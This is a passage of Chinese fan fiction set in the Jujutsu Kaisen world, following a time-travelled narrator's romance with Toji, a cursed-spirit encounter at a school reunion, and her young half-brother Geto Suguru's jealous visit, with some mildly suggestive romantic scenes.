“年幼的时候那群垃圾打不过我，为了惩罚我把我关进了满是咒灵的惩罚室，我的体质特殊，没有咒力，空手杀不死咒灵，最后力竭受了重伤。”
我触碰到他嘴唇上的伤疤，他若无其事地开始亲我的手指。
“不过没关系，等我伤好后，我将那些欺负我的人全都揍成重伤。”
“那种垃圾一样的地方谁愿意留下，我能养活自己后，就叛逃了。”
我脸发烫，使劲将手收了回来。
这家伙也太会了，就像是老手一样，我脸色突然难看起来，这家伙好像被我捡回来前做过一段时间的小白脸！
我一拍桌子，这怎么能忍！
“约法三章！交往期间，不允许看别的女性，不允许赌博，不允许夜不归宿！”
甚尔脸上出现了苦大仇深，“欸，钢珠也不能玩吗？”
“钢珠也不行！”
我伸出手，“银行卡上交！”
我可没忘记这家伙花钱如流水，手里存不住钱。
他乖乖地掏出了一个信封放在桌上，也不知道从哪里变出来的。
我拿过来，还是我之前封好的样子，一看就知道没有打开过，我写的小纸条还在里面。
我狐疑地看着他手边，难道这时候他就有了“丑宝”？
“真的不能玩吗？不能玩钢珠，简直没有了人生乐趣！”
这家伙像是没有看见我的打量，眼睛发亮地学着电视剧里丈夫的抗议。
我觉得他嘴上说抗议，其实很享受被我管着的感觉。
想到他卡里还有一笔庞大资金，好像全没收是不太好。
我佯装为难道：“那每天给你发五百零花钱，花完可就没了。”
他越过了桌子，将头搭在我肩膀上，“霁，我好开心，我有家了。”
我心软得一塌糊涂。
13. 回家
我何尝不是？
穿越后，我忙着熟悉这个陌生国度和学习生活。
倒不是没有亲人，只是关系冷淡，怕打扰到对方。
我侧头看了看他，从今以后我也有家人了。
＊＊＊
成为了情侣好像变化不大，依然是一起吃饭，不睡一起，除了多了搂搂抱抱亲亲以外。
亲亲都是很纯洁的那种。
我对此接受良好。
一转眼一周过去，明天开学了，我终于从黏黏糊糊中醒悟过来，将该办的事给办了。
办什么？
首先是先处理钱的事。
我口中说要他上交银行卡，可我绝对没有霸占的意思。
在这个金钱不断贬值的时间，这么一大笔钱能做什么？
我第一个想法就是买股票，什么雅虎、谷歌、苹果、微软，后世的独角兽企业全都买上。
现在刚好是互联网泡沫，进场合适。
等过个几年将雅虎的卖了，本金就回来了，之后持有的股票〇八年经济危机之前再出手，等经济危机股票大跌再买一批眼熟的，基本上这辈子就可以躺平了。
对于我的安排，甚尔没意见，他对理财一窍不通，拿到钱先是买咒具，剩下的不知怎么就花光，根本没有理财观念。
买美股先要去证券公司开户，去开户之前我领着他先去查了卡里的余额。
之前都是他说多少我就信，还没亲自看过。
当我看到那2后面一串数字时数了一下，紧跟着瞪大了眼睛。
不对，怎么是九位数？
这卡里根本不是两千万，而是两亿日元！
我又换了隔壁银行，掏出另一张银行卡，这张卡没有问题，还是一百多万。
我目光紧对盯着甚尔，他就跟得了皮肤饥渴症一样，紧揽住我，见我怒视他，还凑过来亲了一下，“怎么了？”
怎么了？
他还有脸问。
“这里是两亿，不是两千万，你哪来这么多钱？”
其实不用问我也知道，是他做赏金猎人得来的。
我想到了他那次受伤，心不由揪起来。
＊＊＊
“或许吧，我记错了。”他爽快承认错误。
后续的钱是之后的任务赏金，他让情报贩子洗白后打进这张卡里，他都准备退出那一行里，不多准备点钱怎么养家？
他漫不经心地回答，目光在她唇上打转，他们都交往一周了，是不是可以更深入了解一下了？
＊＊＊
多出来这么一大笔资金让我意外，这么多钱留在卡里不就是贬值吗？
还等什么？当然是投入股市钱生钱啦！
我拉着他进了对面的证券公司，一进门就说明来意。
还好年满十八周岁就可以开户。
结果这家伙又不肯了，“你来开户，钱交给你，随便你处置。”
这么大一笔钱，他竟然信赖我，好吧这笔钱在我看来很多，可能还没有他手里的一件特级咒具贵。
最后还是开了我的账户，在工作人员协同下钱转入了我的账户。
我只留了那张有一百万的卡，再加上我每个月的工资，这些足够我们日常开销了，其他钱全部投入股市中，选择了我看好的那几只股。
买完就看见美股一片飘红，市场惨淡，我眼不见为净，也不在意这短暂的下跌，反正是长期持有。
离开了证券公司，我提议请学姐吃饭。
甚尔臭着一张脸，“不是说了，让你离她远一点？”
我在他手臂上拍了一下，“说什么呢？亏学姐还帮你说好话。”
“要不是学姐，我不可能这么快同意跟你交往！”
他低头盯着我，片刻后转过头，“随便你！”
这家伙有时候还真是让人火大。
＊＊＊
隔天开学，一早我艰难起床，放假的几日，我都有点不适应起这么早。
甚尔早早收拾好，等我起床送我上学。
我咬着面包去赶公交车。
“我是大学生欸，还要人送，会让人看笑话的。”
我其实不是很情愿让他过去，我也明白他的目的，不就是宣示主权吗？
拜托，被人知道我啃嫩草，会被笑话的好不好？
磨磨蹭蹭还是上了车，一路上我都被他护在怀里，别说，安全感十足，不必担心某些不长眼伸过来的手。
等我到了学校门口，左右瞅瞅，没看见熟悉的面孔才放下心来。
“行了，我到了，你快点回去。”
他将背包递给我，掏出手机，“我会在附近等，放学给我一个电话，我们一起回家。”
我连忙答应，转念一想，周围可是有不少钢珠店，满心狐疑地问，“你是不是要去柏青哥店？”
他表情无语，“去附近的网咖打发时间。”
“钱够不够？”
我从包里掏出钱包，取出了三千円递给他，这附近网咖什么价，我心里都有数。
三千円玩二十四小时都没问题。
他也没跟我客气接过了钱。
然后盯着我不肯走。
我满眼疑惑看着他，片刻后醒悟过来，是在等告别吻吗？
我看了看左右，将他头拉低，然后狗狗祟祟在他脸上亲了一下。
“我走了！”
走了两步回头，发现这家伙正含笑看着我。
我脸一热，赶紧跑进了校门。
开学第二天赶上周末，其他人陆陆续续返校，我又多了两天假期，不对是三天才对。
周一是埼玉县为所有满二十岁的男女举办成人礼的时间。
学校自动给我们放假了。
周六我和甚尔哪里都没去，就蹲在家里，晚上我意外接到了母亲的电话。
她那边的意思是问我成人礼要不要她过来。
这边习俗是举办成人礼这天，邀请亲人或者朋友参加成人礼。
我看了甚尔一眼，道：“不用了，我邀请了男朋友参加。”
那边停顿了许久，“是吗？你都有男朋友了。”
我其实很疑惑，我没有这具身体的过往记忆，对于两人过去也不是很了解，但是我能够感觉到对方对我的感情淡漠，就是淡漠，还不是厌恶的那种。
之前我从未深究过我这个身体的过去，现在反倒是有兴趣了。
知道这是有咒灵的世界，先前我那便宜弟弟的异常也有原因了，应该是有咒术吧。
那小子还苦恼跟我述说过烦恼，被我半真半假敷衍过去，这般反而有些依赖我，好像我和他才是同类。
想来和上
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次一样，提出来参加成人礼的是那小子吧？
“纳尼？姐姐有男朋友？”那边传出小男孩不敢置信的声音。
“我不允许，快分手！”
“不要胡闹，姐姐也有自己的生活！”
那边匆忙挂断了电话。
我嘴角勾起，然后对上了甚尔满是恐怖杀意的表情。
“我要杀了那个小鬼！”
我放下电话，凑过去亲亲安抚他，“好了，弟弟还小，不用管他。”
见他全身杀气直冒，我干脆搂住他脖子贴住了他的唇。
杀气消失，他半抱住我，含含糊糊道：“不准听他的，不准和我分手。”
……
成人礼这天，一大早我换上了和服，后面的花结还是甚尔帮我弄好的。
我举着伞，穿着木屐，觉得自己美美的。
甚尔也穿上了跨年夜我送他的那一套，我们一前一后往市役所安排的会场走去。
沿途还有不少来参加成人礼的同龄人，大家都是同一年龄，不少都是在一个小学中学上学。
我就遇见了几位跟我打招呼的女孩，好在跟我打招呼后顺势解锁了高中时的相关记忆。
记忆比较散碎，我察觉到一点异样，记忆里的我就如同另一个我，难道是平行时空的同位体？
随着过来拍照寒暄的同学变多，我的记忆解锁的也更多，听完演讲后，有位叫藤野茉莉的女同学问我下午去不去高中参加学校举办的派对。
“就在高中附近的民宿，毕业后大家难得聚在一起，不去的话，以后很难再见面了。”
我今天才发现见到过去认识的人竟然会解锁相关记忆，我当然想解锁更多。
只是我不可能丢下甚尔，便问，“能带人过去吗？”
藤野茉莉打趣道：“是男朋友吧？说来立花高中时好像对异性不感兴趣，是只专注学习的优等生，没想到上大学反而交男朋友了。”
“可以带去，那边好像只是走个流程，应该用不了多长时间。”
既然是走个流程，应该很快，没必要让甚尔一起过去。
回家换掉礼服，我说了下午去高中学校一趟的事。
甚尔紧盯着我，“我不放心你。”
他盘腿坐在榻榻米上，我已经收起了和服换上了毛衣和棉衣。
“有什么不放心的，只是去一趟学校，又不是去刀山火海。”
见他还臭着一张脸，“好了，我会很快回来。”
我走过去低头碰了一下安抚他。
＊＊＊
还没等她离开，甚尔迅速拉住她，他有些不满，“就这样？”
对上她亮晶晶的眼神，他控制不住诱惑捧着她的脸。
许久后，两人气喘吁吁分开。
她挂在了他脖子上，他安抚一样一手搂住她的背，一手摸着她的脖子安抚。
“真是，甚尔可真是黏人～”
她嘴里是带着笑意地抱怨，然后宣布结果，“那就一起去，你在附近商店等着，等那边结束再一起回家。”
回家——
多么幸福的一个词。
宿命注定要在荒野中奔跑至死的野犬也终于有家了？
他和她的家？
他沉溺于此刻幸福之中，就算上天在下一秒拿走他的生命他也不在乎。
14. 诅咒
我高中在县立高中就读，算是附近比较老牌的学校。
记忆里高校应该是咒灵的高发地才对，可我记忆里所在高中却没有出现过什么异常。
下了公交车，我们牵着手往学校附近的民宿走。
之前上学乘坐的公交车也经过这里，只是没意识到“我”也在这个高中上过学。
三站路后我们下了车，民宿就在学校附近，主要接待的是别的学校过来比赛的学生。
埼玉县立高中鼓励学生参加全国性质的赛事，也经常举办校与校之间的友谊赛。
周边出现了不少民宿，我想县立高中就算孕育出咒灵也应该跟学习有关。
快到民宿，我看到陆陆续续进民宿的同龄人，扫了一圈，指着不远处的书店道：“要不你去那里看一会儿漫画书？”
学校旁边的商业街还是挺热闹，这里可以满足学生的所有需求。
甚尔抬起眼皮看了一眼，没什么情绪地点头。
我知道他心里是有些不爽和我分开。
话说自从我们确定关系，他就没怎么跟我分开过，唔，我去上学不算。
“好了，乖，听话。”
我放柔了嗓音，这招对于甚尔是大招，果然扛不住败退了，我将钱包塞给他，一点也不带留恋地往民宿走去。
欸，男朋友就是这么黏人～
真是甜蜜的烦恼。
“嗨，立花～”
我还未踏进民宿大门，就听见身后的呼唤声。
一回头看见了藤野茉莉和她身边的双胞胎姐姐藤野百合子。
这对双胞胎姐妹在高中时期挺出名，藤野百合子出道做了模特，藤野茉莉爱好灵异故事，可惜学习氛围浓郁的学校容不下她这个爱好。
我想起来了，之所以记得藤野茉莉是因为她曾经拉我一起组建灵异社团来着，然后被我拒绝了，之后又拉其他人，大家都不感兴趣，因为人数不达标，直到三年级，她都没有申请成功。
“藤野，你们好。”
“走吧，先去我们班集合，立花还记得那位非常帅的转学生吗？”
“听说考进了早稻田大学……”
我跟着走进了一个大开间，随着人脸一个个在眼前闪过，相关记忆也跟着复苏。
之前的记忆就像是隔着一层毛玻璃怎么也看不清，现在是擦拭干净，虽然记起来，还是隔着一层玻璃，那些记忆就如同一部电影，并未让我有什么代入感。
藤野百合子跟我们不是一个班，进门后我们分开了。
我们按照门上贴着的纸，找到了三年二班的房间，拉开纸门就看见里面已经有人来了。
“大家来得还真早，没到时间吧？”
屋子里有四五个人。
全都围着一个圈坐下，中间的小桌上摆放着一个盘子，几个人手里都拿着纸条和笔。
“咦，你们是在玩碟仙吗？”藤野茉莉像是发现什么惊喜道。
我一惊，被吓出来一身冷汗，这可是有咒灵的世界，玩碟仙不是找死吗？
我拉住了藤野茉莉，一脸凝重道：“别去，他们有点不对劲。”
经过我提醒，藤野茉莉才发现两个男生三个女生身体像是被控制了一样一动不动，正对着我们的男生眼里透着恐惧。
藤野茉莉咽了咽唾沫，紧抓住了我胳膊。
“立花，又出现鬼了吗？要不请你外婆过来处理……”
我疑惑，听她意思高中时也遇见过这种情况，只是被外婆解决了？可是我并没有复苏灵异方面的记忆。
我已经顾不上疑惑，掏出手机就给甚尔打电话。
然而号码输入，得到的却是占线声音，一看手机没有信号。
“立花！”
藤野茉莉一声尖叫，“鬼出现了！”
身后的门蓦然关闭，紧跟着屋内景象变了，我们换到了一个破旧的教室，再回头哪里还有门？
再看几个同学，一个人形影子蓦然出现在他们身边，影子四散的头发捆绑住了几个人，这也是几人动弹不得的原因。
我惊恐，这是咒灵，已经觉醒的咒灵！
“甚尔……”
我万分后悔，早知道就带甚尔一块过来了。
下一秒影子的头发窜过来，我不受控制坐在了桌旁。
我旁边是藤野茉莉。
我们坐下后，其他几个人像是松绑了一样，满脸惊恐，还有人哭得眼泪鼻涕直流。
“藤野，我们已经被控制玩了五个小时游戏了！”
我惊了一下，意识到咒灵应该还在孕育中，所以得按照怪谈规则才能杀人。
碟仙的规则是什么？
这里我只能参考裂口女的简易领域。
裂口女遇见人时会问，“我漂亮吗？”
回答漂亮会被剪开嘴巴强行整容，回答不漂亮会被剪刀杀掉。
在回答问题前，有强制不能相互攻击的规则。
现在出现的是碟仙，碟仙的怪谈规则又是什么？
“欸，五个小时？可是，我听说你们才到五分钟！”
我知道了！
这里简易领域是加速时间流动！
“你们玩了几轮？”
“五轮……”有人意识到满眼都是惊惧。
时间流速过快，或许等外界发现，不等咒灵杀死他们，他们已经渴死饿死。
突然藤野茉莉的手不受控制拿起笔在纸上写，其他人一脸惊恐，“又开始了！”
＊＊＊
书店里甚尔晃着，他其实不爱好看漫画书，只是失去了打钢珠的嗜好，只能翻漫画来打发时间。
他利索地穿过书架来到最里面，然后在成人漫画前站定。
正要伸手拿一本，突然他脸色一变。
霁的气息消失了！
一阵风穿过了店门，守着柜台的店员不解抓头发，“咦，哪来的风？”
＊＊＊
我也不受控制拿起笔在纸上写了问题，我眼睛蓦然瞪大，纸条上明确写着我能否回去？
什么意思，还是没有什么原身这就是我的身体？
我的手指即将按在盘子上面，一个身影踹了开窗户从外面跳进来，强烈的气流将他头发都吹起。
我泪眼汪汪看着他，“甚尔！”
看不见的动作和刀光闪过后，我腰间被结实的手臂抱住，然后就看见碟仙如落英缤纷一般身体被肢解到拼凑不起来的样子落地。
这是我头一次感受到甚尔的武力。
好强，不愧是脚踹两个最强DK的男人！
须臾之间什么破教室已经消失，我们重新出现在民宿的房间内。
“啊，获救了！”
“说来，那个盘子是哪里来的？”
“不是山田带来的吗？”
“才不是，我一进屋就放在
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那！”
大家打开门欢喜地往外跑，边跑边斗嘴。
路过我时他们还不断道谢，“谢谢立花，又救了我们……”
我怔了一下。
这个“又”是怎么一回事？
只是我现在已经无工夫计较这个，刚才我好像看到甚尔肩膀上盘着一个咒灵，就像是蚕宝宝的变异种，只是一闪即逝，我看见咒灵的短暂体验卡到期。
“甚尔……”
我紧紧抱住甚尔的脖子，刚才一度让我以为我死定了。
“我们回家！”
才知道这是咒灵的世界，没想到一转眼咒灵就贴脸出现了。
呜呜呜，打死我也不要和甚尔分开了，这个世界太可怕了！
甚尔放我下来，我紧紧抱住了他的手臂，他带着我走到桌子前，那个古朴的盘子已经粉碎得不成样子。
他盯着瞧了一会儿，神色凝重道：“这是咒物。”
我紧张问，“是有人故意放到这里？”
“应该是有人在养诅咒。”
“诅咒还能养？”
我只知道被咒灵操使吸收的诅咒等级不会再增长。
“诅咒只会在诞生地，一般不会移动，除非特殊的诅咒，这个是假想诅咒诞生于人类对都市怪谈的恐惧。”
“这个还是咒胎，摆脱不了这个咒物，等它吸取到足够的负面情绪，就能进化成高级诅咒，也可以摆脱这个诞生它的咒物。”
“那这个算咒具？”
“咒具是长期被诅咒之力浸染，拥有特殊能力，这个能诞生假想咒胎，只能算诅咒之物。”
我担忧道：“那就放在这里吗？会不会还有危险？”
他一把将我抱起，我脸红像个小孩子一样坐在他手臂上。
他抱着我往外走，“咒灵已经祓除，这个盘子已经无用，哪怕这个咒灵再次诞生，也是诞生在另一个浸染咒力的盘子上。”
他大大方方抱着我穿过大堂，外面不少人好奇眼神看过来。
我社交尴尬症都给整出来了，连忙将头埋在他肩膀上。
太丢人了，这让我以后怎么再见这些同学？
好吧，反正都已经毕业了，下次见面还不一定是什么时候，我装死一般趴在甚尔肩膀上。
＊＊＊
感受到脖子上的热意，甚尔皱眉加快了速度。
“霁，你在哭吗？”
肩膀上的人闷声道：“不用管我，我只是在后怕，一想到会死，会丢下甚尔就感到害怕。”
甚尔心颤了一下，“才不会，我不会让你死，就算我死，我也不会让你死！”
＊＊＊
临近死亡，我觉得之前的隐忧都不算什么事，生孩子死去算什么？
这个见鬼的世界，还不知道会因为什么死去，就算死也是三年之后，这段时间我只想和甚尔好好在一起。
甚尔没有再藏着掖着，抱着我跳跃了墙壁屋顶，本来步行二十分钟的路让他缩短到五分钟。
五分钟里大半还是躲避人群。
回到家，他将我塞进被炉里，然后端来一盆温水，帮我擦洗脸上的眼泪。
他的动作太温柔了，小心翼翼像是怕碰疼了我。
我忍不住抓住他的手腕，拉着他的手放在我心口。
“甚尔，抱我！”
我脑海里没有别的念头，只想将自己交给他，和他融为一体。
15.我的弟弟
生命如此短暂，我不确定意外和灾难哪个先到来。
我或许明白了立本这边男女关系随意的原因了，灾难太频繁，谁也不确定什么时候失去生命，还不如及时行乐。
＊＊＊
昏暗中，甚尔摸了摸立花霁有些湿润的头发，亲昵地吻了吻她的额头。
“还疼吗？”
身下的人红着脸，有些恼羞成怒道：“不要总是问我这种话！”
甚尔动了动，将人抱起来，凉风钻进被子里，让立花霁打了个激灵，控制不住自己往他怀里钻。
甚尔目光变得幽深。
感觉到体内形状变大，立花霁受到了惊吓。
“别！”
然而回应她的是急促呼吸声。
＊＊＊
清晨一阵敲门声将我吵醒。
“姐姐，我知道你在家，给我开门呀！”
“姐姐，我来找你了，快开门！”
“姐姐，外面好冷～”
一连串叫魂声音将我吵醒。
昨夜虽然只有一次，可时间长啊，少年精力旺盛，我身体都快拆成八瓣了，洗完澡后倒头就睡。
等等，外面是谁的声音？
“姐姐，你忍心留你心爱的弟弟在外面吹寒风吗？”幽幽的声音透过门缝传进来。
我蓦然睁开了眼，糟糕，是那个小鬼！
我赶紧推开抱着我的手臂，掀开被子露出光溜溜的两条腿去地上捡衣服。
“嘶！”我倒抽一口气。
等艰难套上裤子一回头，看他坦荡荡地躺着，脸一红催促道：“你快起床！”
外面不急不慢的敲门声传来，还伴随着小学生恶魔低语，“姐姐，你起了吧？”
“起了起了，马上来！”
见甚尔还是不动，我捡起他地上的衣服扔他身上，再次催促，“快起呀！”
＊＊＊
“外面是谁？”甚尔万分不爽地看着仿佛被抓女干急得上火的女人。
他可是她名正言顺的男朋友，为什么要跟偷情一样躲避？
立花霁已经套上了毛衣，在整理头发，“是我弟弟，这小鬼应该是知道我交男朋友了特地跑过来……”
见他还是没动，立花霁干脆跑过来将他拉坐起来，将衣服塞进他怀里，再捧着他的脸对着唇亲了一口。
“乖，你先回你屋里，不能让我弟弟知道你昨晚睡在这，不然……”
她打了个冷战，“这小子会烦死人！”
说着还帮他套上衣服，然后推开了卧室的窗户，示意他跳到隔壁阳台。
这点距离对他来说是小意思。
甚尔非常不爽，立花霁连哄带骗才让他回自己房间。
等她收拾完卧室，时间已经过去五分钟。
她去开门，就看到同母异父的弟弟背着书包幽幽道：“这么晚才开门，是藏了野男人吗？”
立花霁很无语，“谁让你一大早过来的？”
她往下面看了看，然后问，“就你一个人？你不上学？”
“请假了，我的姐姐都要被野男人拐走，我怎么能安心上学？”
“喂，小鬼，你说谁是野男人？”
穿着毛衣的甚尔拉开门，满脸不爽地俯视面前的小鬼。
小孩立马拽住立花霁的袖子，“姐，你还将野男人养在了家里？我不同意！”
“霁是我女朋友，小鬼，你有什么资格不同意？就凭你没断奶吗？”
“真是个糟糕的大人，姐姐分手吧，他不适合你！”
“喂小鬼，你是找死吗？”
立花霁那叫一个头大，为什么浪漫之夜的第二天要让她碰到这种抓狂的事情？
＊＊＊
玄关处，我在打电话。
“……对，弟弟在我这里，啊，您不知道他没上学吗？”
“好的，我会找人送他回去。”
“我不回去，我已经请假了……”小孩走过来，“姐姐，让我跟妈妈说。”
我将话筒递给他。
小孩很冷静，“妈妈不相信我说的话，还和爸爸带我去看精神科医生，我不会再相信你们了。”
“我要和姐姐一起住，我要搬埼玉……”
这话听得我和甚尔面面相觑，甚尔的面色明显变黑了。
说着说着小孩带上了哭音，我无奈接过了话筒。
“您应该知道外婆的情况。”
“她不是骗子，弟弟这边明显是继承了这种才能……要不这样，您帮他请一段时间假，我先劝劝他，等周末我送他回去。”
我三言两语劝住了对面要过来的想法。
其实我也不是不能理解，对方只是想让弟弟变得和正常人一样。
立本这边的潜规则就是不允许有不合群的人出现，太出挑、太漂亮都容易被群体排挤。
他们也没有办法，普通人只能用自己的方法来保护孩子。
显然弟弟不愿意做那个泯然于众的人。
我挂掉电话坐在沙发上，甚尔顺势一揽将我搂在怀里。
小孩气鼓鼓地瞪着他，然后上手试图将他的手从我肩膀上搬走。
我不经意扫到墙上的时间，吓得站起来。
“糟糕，快要迟到了！”
“甚尔，这是我弟弟小杰，你们留在家里好好相处，有什么事等我放学再说！”
“小杰，你也要和甚尔好好相处，不准吵架。”
甚尔当即起身，“我送你！”
我刚要说不用了，他眼睛一眯，“你忘记昨天发生的事了？不难受吗？”
“昨天发生什么事了？”小杰急忙插嘴。
我老脸一红，闭上嘴，“小杰也一起，我们打车去！”
路上我心疼昂贵的出租车费用，满眼期盼看向甚尔，“你去考个驾照，我们买车。”
＊＊＊
下午只有一节课，我耽误了一会儿，因为上学期社团解散的缘故，新学期我需要加入一个新社团。
当然也可以不加，不过会失去很多机会。
我已经有了目标，就是中文会，大名是中国语言文化研究会，对于我来说绝对是混时间的天选社团。
提交申请等待面试时间后我就回家了。
提前通知了甚尔，他已经在校门外等着了，今天还跟了一个小尾巴。
我瞪了甚尔一眼，“你怎么把他也带来了？”
大冷天要是生病了可怎么办？
“我来接姐姐放学！”小杰瞪了甚尔一眼，然后冲着我笑眯眯道。
很好有蛊王那个味道了。
这里隆重介绍一下，这位现年八周岁，三年级的小学生，正是我的弟弟夏油杰。
我们算是同母异父，我的母亲十六岁时怀上了我，生下我后将我留给了外婆，然后去了大城市。
后来跟夏油先生结识，婚后生下了儿子也就是夏油杰，目前定居在仙台市。
我一度是不知
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道有这位生母，还是外婆去世，她带着丈夫儿子来奔丧，我才知道这些情况。
当时我只以为是撞名字了，没往那方面想，现在知道这是咒O世界，我才确认我的弟弟可能真是那个夏油杰。
现在的小杰还是个小学生，之前来奔丧应该是觉醒咒术不久，难怪跟我说话颠三倒四，询问我相不相信世上有宝可梦。
我当然相信了，哄得他把我当成一国的。
“还疼吗？”甚尔接过了背包问。
一旁的小杰满眼狐疑，“什么疼？姐姐受伤了吗？”
我瞪了甚尔一眼，红着脸大声对小杰训斥道：“问那么多做什么？大人的事小孩少管！”
“可是我很担心姐姐。”
见小孩一脸担忧，我投降了，“没事，就是昨夜踢到了桌子，已经不痛了。”
看了看时间才三点多，“小杰要住几天，先帮他买换洗衣服。”
见甚尔脸色不爽，我又道：“当然甚尔的衣服也不多，也要买。”
甚尔盯着我看了一会儿，凑过来亲了一下。
我捂住嘴，就看见甚尔冲小杰露出了一个挑衅笑容。
不负众望，小杰爆炸了，他伸手抓住我，“姐姐，你的手机呢，我们报警吧，这里有人渣！”
我头疼，“好了，不要闹了，现在宣布去买衣服！”
接下来的行程两个大小男孩的明争暗斗就没停止过，买衣服的时候还互坑对方，直到坐进烤肉店才停下来。
我点了菜，翻到主食那一页询问，“小杰还是要荞麦面吗？要不试试其他？偶尔也尝尝其他食物。”
小孩乖巧道：“我听姐姐的。”
甚尔刚要开口讽刺，我瞪了他一眼，等他悻悻闭上嘴，我才道：“那就试试海鲜盖饭。”
菜上来，有甚尔爱吃的内脏拼盘，小杰明显没有什么喜好，倒是对点的西瓜汁情有独钟。
这个季节的西瓜汁可是价格高昂。
这家烤肉店就是我和甚尔上次来过的那家，价格是贵了点，味道是真不错。
海鲜炒饭上来，我分了一碗给小杰，然后拿着勺子吃了一口，味道有点鲜甜，觉得不错，舀了一勺给甚尔尝尝，他含住了勺子，露出得意眼神。
我转头就看见小杰怒视他。
我无奈，甚尔幼稚起来怕是不比小杰大。
“别逗他了。”我推了推他胳膊，都没到原剧情，这两人就针锋相对，难道说是命中注定吗？
“小杰你也是，快点吃饭。”
我将烤好的牛肉放到他碗里，又夹着牛心放甚尔盘子上。
这一顿饭吃得我身心疲惫，因为要随时注意一碗水端平。
等回到家，得安排小杰住的地方。
一楼很久没人住了，肯定不行，只能暂时安置在甚尔那屋。
＊＊＊
甚尔自然巴不得，他以为屋子让出去换来的是住进我房间，结果却是跟小鬼一起住。
听着隔壁房间放水的声音，甚尔抱臂居高临下盯着小孩。
“喂小鬼，你该不会还要大人帮你洗澡吧？”
“才不是！”小孩跳脚道：“我要盯着你，别想趁着我去洗澡，跑到姐姐房间和她一起睡！”
原来这个小鬼都知道呀。
甚尔露出恶劣笑容，“霁是我的女人，我当然可以和她睡一起，至于你……”
他伸手拎起他，把他往浴室一丢，“快点去洗，别耽误时间！”
16.祖传术士
我泡了个澡，足足一个小时，等起身我身上的隐隐酸痛已经消失大半。
对着镜子，看到身上痕迹，回忆昨晚发生的事，我脸不由红了。
我心里有些甜蜜，正吃吃笑着，突然听见了外面的敲门声。
我连忙拽下浴巾擦拭身上的水珠，再套上睡衣出去开门。
门外是换上新睡衣的小杰。
我愣住，“怎么了？”
小杰气鼓鼓地走进屋子，掀开被炉的被子躺下，“我要守护姐姐，防备坏蛋偷袭！”
我麻了，甚尔又怎么得罪他了？
甚尔出现在门口，头发还在滴水，我跑进浴室拽了浴巾丢给他。
“怎么回事？”
甚尔满不在乎道：“他怕我跑来和你一起，不用管他，霁，去我房间吧。”
他伸出手邀请，小杰翻身爬起来把我挡在身后试图将甚尔推出去。
“不准来找姐姐！”
“姐姐，快赶他出去。”
“呀嘞，是气哭了吗？气哭也没用，霁是我的。”
我头痛，“甚尔别逗小杰了。”
小杰转身抓住我的手，“姐姐和他分手，等我长大，我做你结婚！”
甚尔咬牙，“小鬼，你想死吗？”
“甚尔！”我无奈喊他，然后拍了拍小杰的肩膀，“不行哦，弟弟和姐姐不能结婚！”
小杰连忙道：“可是小爱跟和也就可以！”
我头疼，“那是过家家。”
小爱、和也是旁边一户邻居家小孩，上次小杰过来和他们一起玩过。
小杰像是受到了冲击，不敢置信问：“真的不能吗？”
我仿佛看到一个小小的梦想轻轻碎掉了。
“就跟杰尼龟和妙蛙种子一样，不能结婚哦～”我打破了他的幻想。
甚尔在一旁嘲笑，“小鬼，还是回家和小朋友玩过家家游戏吧，霁是我的，以后也只会和我结婚！”
我掐了他一下，咬牙威胁：“甚尔，可以不要火上浇油了吗？”
小杰勉勉强强接受了，还是坚持要在客厅睡，一副对甚尔严防死守的架势。
这让甚尔万分不爽，我推了推，“行了，今晚早点休息。”
带上门，我又叮嘱在客厅看电视的小杰，“还有你，给我早点睡觉！”
……
床头的灯突然亮了，我迷茫睁开眼，然后对上一双锃亮的眼睛。
我愣住，看了一下闹钟，已经凌晨五点。
“你怎么不睡？”我压低声音问。
他也跟着压低声音，“我睡不着。”
我无语，睡不着就来弄醒我吗？
看见他已经开始扒衣服，我吓了一跳，忙按住了他的手，“别，小杰在外面，别把他吵醒了！”
我可不想再被堵在门内。
甚尔二话不说双手横抱起我，推开窗户跳过去。
我赶紧拍他的手，“灯，灯没关。”
他把我放进屋里，又转身跳回去，很快隔壁房间暗了下去。
甚尔的房间格局跟我一样，只是少了一个厨房。
卧室也是隔断出来，不过他一向开着取暖器睡在客厅，卧室不怎么用。
一进屋他就带上了门，一把抱住我，在我颈窝深吸了一口道：“赶紧把那个小鬼送回去。”
我拍了他胳膊一下，“小杰是我弟弟，不准叫他小鬼。”
他的手不知何时伸进了我衣服里，我也有些意动。
可是想到房间并不隔音，便红着脸道，“去浴室。”
……
水流声音遮住了暧昧的喘息声。
“霁，还疼吗？”
甚尔仰望看我。
我浑身发烫，扶住他的肩膀的手过去捂住了他的嘴，“这个时候就不要再问这种话了！”
＊＊＊
隔天夏油杰起来后总觉得哪里有不对，姐姐大人打着哈欠坐在沙发上，那个跟他抢姐姐的坏蛋正哼着歌煎鸡蛋，一副很开心的模样。
坏蛋将煎蛋和章鱼香肠放进盘子里，一份放在了姐姐面前，一份放在了他面前。
坏蛋露出白亮的牙齿，冲着姐姐邀功，“是霁喜欢的溏心蛋哦～”
他又将牛奶端过来，“霁先吃着，便当马上就好！”
不对劲，太不对劲了！
夏油杰如临大敌地盯着放在自己面前的早晨，这个坏蛋一定是在早餐上放了许多盐故意作弄他！
＊＊＊
我吃着可口的早餐，对小杰说，“快点吃，今天你和甚尔留在家里不用去送我，还有我跟你的老师联系上了，那边说作业会发我短信，你留在家里写作业！”
“我都请假了，为什么还要写作业？”
小杰插了一个章鱼香肠小心塞进嘴里，不满问。
“嗯？”我扫了他一眼，启动姐姐对弟弟的血脉压制。
他立刻改口，“我知道了，会做功课。”
甚尔提着小花布包好的饭盒过来，“霁，不送我不放心！”
“你不是把附近都清理干净了吗？有什么不放心的？”
这家伙昨晚上不睡觉，将周围咒灵清了一空，凌晨又亢奋钻我屋里。
我咬着鸡蛋道：“你今天去报名，尽快拿到驾照。”
说完我轻哼一声，“甚尔就不想以后开车送我去学校吗？”
甚尔眼神立刻起了变化，“我去报名。”
一旁的小杰举起手，“清理了什么？不要当作没看见呀你们两个！”
去路边等公交车，这两家伙又较劲送我，临上车前，我交代甚尔：“不要与小杰吵架。”
他眼神变得漠然，我凑过去在他嘴角伤疤上亲了一口，“答应我，好嘛？”
“知道了。”
我低头看到小杰狠狠瞪了甚尔一眼，然后昂起头一脸期待地等着。
我无语，正打算在他额头敷衍一下。
结果被甚尔伸手挡住，甚尔狞笑，“小鬼，霁是我的女人，想亲自己找去！”
我拍开他的手，还是在小杰的脸蛋上碰了一下，然后就看见小杰捂着通红的脸，傻呵呵地笑着。
这可把甚尔给气坏了，向我投来一个委屈的眼神。
我懒得搭理这两个戏多的小鬼，直接上了公交车。
之后两天都是这个套路，两人明争暗斗，互相给对方使绊子。
周五晚上，我询问小杰，“妈妈那边催你回去，你考虑得怎么样了？”
